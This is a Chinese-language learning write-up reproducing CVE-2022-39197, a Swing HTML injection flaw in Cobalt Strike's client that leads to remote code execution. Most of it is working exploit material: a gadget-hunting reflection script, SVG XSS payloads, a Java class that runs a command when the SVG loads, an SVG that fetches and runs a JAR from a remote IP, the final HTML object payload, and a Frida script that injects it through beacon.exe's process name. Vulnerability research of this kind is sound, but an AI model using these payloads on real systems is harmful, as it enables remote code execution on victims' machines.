CVE-2022-39197学习笔记
CVE-2022-39197学习笔记
前言
该漏洞存在于Cobalt Strike的Beacon软件中,一个 XSS漏洞,允许远程攻击者在 Cobalt Strike 团队服务器上执行 HTML,并实现rce。
漏洞起点
Cobalt Strike 接口建立在 Java Swing 框架之上。该框架为开发人员提供了用于 Java 程序的图形用户界面。
根据官方文档 所描述,在开头插入<html>
标签后续的内容就会被格式化为html文档进行解析,也就是说支持html标签
测试demo:
import javax.swing.*;
public class test {
private static void createAndShowGUI() {
JFrame.setDefaultLookAndFeelDecorated(true);
JFrame frame = new JFrame("asdfas");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JLabel label = new JLabel("<html><img src=xxxxx><h1>Hello world</h1>");
frame.getContentPane().add(label);
frame.pack();
frame.setVisible(true);
}
public static void main(String[] args) {
javax.swing.SwingUtilities.invokeLater(new Runnable() {
public void run() {
createAndShowGUI();
}
});
}
}
从demo运行结果可以看出html代码被解析执行,这就是整个漏洞的关键点,也是起点
大佬文章指引
根据漂亮鼠大佬文章 分析的,<object 标签能够实现rce,payload大概长这个样
<html> <object classid="A"> <param name="my_name" value="Rio"></object>
解析器将尝试创建A类的实例,检查该类是否是java.awt.Component
的子类,并为my_name
参数调用 setXXXX
方法。
总的来说要满足以下条件
- classid传入需要实例化的类,类必须继承与Component
- 必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法
- 必须存在一个setXXX方法的XXX属性
- setXXX方法的传参数必须是接受一个string类型的参数
寻找rce链子
手动寻找满足以上标准的类绝非易事,利用java反射,能够快速找出满足条件的所有类
ps: java几乎0基础,花了好久才整出这个脚本
import java.awt.*;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
public class load_jar {
public static void getJarName(String jarFile) throws Exception {
int flag=1;
int flag2 = 0;
try{
//通过将给定路径名字符串转换为抽象路径名来创建一个新File实例
File f = new File(jarFile);
URL url1 = f.toURI().toURL();
URLClassLoader myClassLoader = new URLClassLoader(new URL[]{url1},Thread.currentThread().getContextClassLoader());
//通过jarFile和JarEntry得到所有的类
JarFile jar = new JarFile(jarFile);
//返回zip文件条目的枚举
Enumeration<JarEntry> enumFiles = jar.entries();
JarEntry entry;
while(enumFiles.hasMoreElements())
{
entry = (JarEntry)enumFiles.nextElement();
if(entry.getName().indexOf("META-INF")<0)
{
String classFullName = entry.getName();
if(classFullName.endsWith(".class"))
{
String className = classFullName.substring(0,classFullName.length()-6).replace("/", ".");
try{
flag+=1;
Class<?> clazz = myClassLoader.loadClass(className);
Method[] methods = clazz.getMethods();
for (Method method : methods)
{
String methodName = method.getName();
if (methodName.contains("set")){
Class<?>[] parameterTypes = method.getParameterTypes();
if (parameterTypes.length == 1){
for (Class<?> clas : parameterTypes)
{
String parameterName = clas.getSimpleName();
if (parameterName.contains("String")){
try {
Object o = clazz.newInstance();
if (o instanceof Component){
System.out.println("-------------"+flag2+"-------------");
flag2 = flag2 + 1;
System.out.println("classname:" + className);
System.out.println("methodname:" + methodName);
System.out.println("parameterName:" + parameterName);
}
}catch (Exception e){
continue;
}
}
}
}
}
}
}
catch (IllegalAccessError a)
{
continue;
}
catch (NoClassDefFoundError b)
{
continue;
}
}
}
}
} catch(IOException e){
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
getJarName("cobaltstrike.jar");
}
}
用这个脚本成功找到cobaltstrike.jar中满足所有条件的类,一共找到132个,但是有很多都是重复的,除去重复的也就十几个,可以一个一个的分析,看看哪个可以rce
最终找到setURL()
函数调用了loadSVGDocument(),这个函数是用于解析SVG文件的,并且SVG 文件是允许用户插入 JavaScrip代码的
public void loadSVGDocument(String url) {
String oldURI = null;
if (this.svgDocument != null) {
oldURI = this.svgDocument.getURL();
}
final ParsedURL newURI = new ParsedURL(oldURI, url);
stopThenRun(new Runnable() { // from class: org.apache.batik.swing.svg.JSVGComponent.1
@Override // java.lang.Runnable
public void run() {
String url2 = newURI.toString();
JSVGComponent.this.fragmentIdentifier = newURI.getRef();
JSVGComponent.this.loader = new DocumentLoader(JSVGComponent.this.userAgent);
JSVGComponent.this.nextDocumentLoader = new SVGDocumentLoader(url2, JSVGComponent.this.loader);
JSVGComponent.this.nextDocumentLoader.setPriority(1);
for (Object svgDocumentLoaderListener : JSVGComponent.this.svgDocumentLoaderListeners) {
JSVGComponent.this.nextDocumentLoader.addSVGDocumentLoaderListener((SVGDocumentLoaderListener) svgDocumentLoaderListener);
}
JSVGComponent.this.startDocumentLoader();
}
});
}
利用SVG执行恶意代码
SVG 是用于二维图形的基于XML的矢量图像格式,并支持交互性和动画
svg文件示例:
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
SVG XSS
SVG文件还支持嵌入式javascript代码,利用这点,可以构造xss payload
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("1");
</script>
</svg>
注意: 上传时,注意内容类型设置为:Content-Type: image/svg+xml
SVG XXE
前面说了 SVG 是基于 XML 的矢量图,因此可以支持 Entity (实体) 功能,因此可以用来 XXE,具体利用参考https://my.oschina.net/hetianlab/blog/4723160
SVG执行java代码
首先写个命令执行的而已java代码
import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;
import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;
import java.util.*;
import java.io.*;
public class Exploit implements EventListenerInitializer {
public Exploit() {
}
public void initializeEventListeners(SVGDocument document) {
SVGSVGElement root = document.getRootElement();
EventListener listener = new EventListener() {
public void handleEvent(Event event) {
try {
Process p = Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
};
root.addEventListener("SVGLoad", listener, false);
}
}
MANIFEST.MF文件
Manifest-Version: 1.0
SVG-Handler-Class: Exploit
然后将恶意java代码打包成jar文件
下一步就是准备SVG文件,
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://xxx.xxx.xxx.xxx/EvilJar-1.0-jar-with-dependencies.jar"/>
<text>CVE-2022-39197</text>
</svg>
注意:SVG的默认安全策略是在 JAR 与 SVG 文件具有相同来源时才会执行 Java 代码
RCE复现
经过上面的折腾,得到最终的payload:
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='payload'></param></object>
网上找到的POC
import frida
import time
import sys
def processInject(target, url):
print('[+] Spawning target process')
pid = frida.spawn(target)
session = frida.attach(pid)
frida_script = '''
var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='USER_PAYLOAD'></param></object>"
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
Interceptor.attach(pProcess32Next, {
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "beacon.exe") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
})
'''.replace("USER_PAYLOAD", url)
script = session.create_script(frida_script)
script.load()
frida.resume(pid)
# make sure payload is triggered on client
print("[+] Waiting for 100 seconds")
time.sleep(100)
frida.kill(pid)
print('[+] Done! Killed beacon process.')
exit(0)
if __name__ == '__main__':
if len(sys.argv) == 3:
processInject(sys.argv[1], sys.argv[2])
else:
print("[-] Incorrect Usage!\n\nExample: python3 {} beacon.exe http://10.10.10.2:8080/evil.svg".format(sys.argv[0]))
将SVG文件和jar文件放到服务器上,修改SVG中的xlink:href
为jar链接
然后用poc模拟上线,beacon.exe是木马文件
python3 cve-2022-39197.py beacon.exe http://xxx.xxx.xxx.xxx/evil.svg
点开进程列表,随便点点,成功弹出计算机
总结
这个漏洞号称是脚本小子杀手,蓝队快乐洞。在复现这个漏洞的过程中,很折磨,也很享受,让我学习到关于Swing和SVG的知识,也是我接触java安全的第一步,后面会继续学习java安全